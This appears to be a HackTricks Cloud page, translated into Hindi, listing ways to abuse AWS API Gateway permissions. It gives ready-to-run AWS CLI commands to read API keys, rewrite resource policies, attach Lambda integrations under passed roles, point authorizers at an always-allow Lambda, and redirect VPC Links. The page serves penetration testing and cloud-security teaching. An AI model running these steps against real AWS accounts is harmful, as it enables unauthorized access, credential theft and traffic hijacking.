AWS - Apigateway Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Apigateway
अधिक जानकारी के लिए देखें:
apigateway:POST
इस permission के साथ आप configured APIs के API keys जनरेट कर सकते हैं (प्रत्येक region के लिए)।
aws --region <region> apigateway create-api-key
संभावित प्रभाव: आप इस तकनीक से privesc नहीं कर सकते, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:GET
इस अनुमति के साथ आप कॉन्फ़िगर किए गए APIs के जनरेट किए गए API keys प्राप्त कर सकते हैं (प्रति क्षेत्र)।
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
संभावित प्रभाव: आप इस तकनीक से privesc नहीं कर पाएँगे लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:UpdateRestApiPolicy, apigateway:PATCH
इन अनुमतियों के साथ यह संभव है कि आप किसी API की resource policy को संशोधित करके खुद को इसे कॉल करने की अनुमति दे दें और API gateway के संभावित एक्सेस का दुरुपयोग करें (जैसे किसी कमजोर lambda को invoke करना)।
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: आप आम तौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे लेकिन आप संवेदनशील जानकारी तक पहुँच प्राप्त कर सकते हैं।
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
परीक्षण आवश्यक
apigateway:PutIntegration, apigateway:CreateDeployment, और iam:PassRole अनुमतियाँ रखने वाला एक हमलावर किसी मौजूदा API Gateway REST API में एक Lambda function जिसे IAM role से जोड़ा गया हो, उसके साथ नया integration जोड़ सकता है। फिर हमलावर उस Lambda function को ट्रिगर करके arbitrary code चला सकता है और संभवतः IAM role से जुड़े resources तक पहुँच प्राप्त कर सकता है।
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: Lambda function के IAM role से जुड़े संसाधनों तक पहुँच।
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
परीक्षण की आवश्यकता
ऐसा attacker जिसके पास permissions apigateway:UpdateAuthorizer और apigateway:CreateDeployment हों, मौजूदा API Gateway authorizer को संशोधित करके सुरक्षा जांचों को bypass कर सकता है (उदा. इसे ऐसे Lambda की ओर repoint कर देना जो हमेशा “allow” लौटाता है) या API requests किए जाने पर arbitrary code निष्पादित कर सकता है।
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुँच।
HTTP APIs / apigatewayv2 वेरिएंट
HTTP APIs (API Gateway v2) के लिए, समकक्ष ऑपरेशन apigatewayv2 के माध्यम से authorizer को अपडेट करना है:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
परीक्षण की आवश्यकता
एक हमलावर जिसके पास अनुमति apigateway:UpdateVpcLink है मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर इंगित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित हो सकता है।
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Potential Impact: निजी API संसाधनों तक अनधिकृत पहुँच, API ट्रैफिक का अवरोध या बाधा।
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

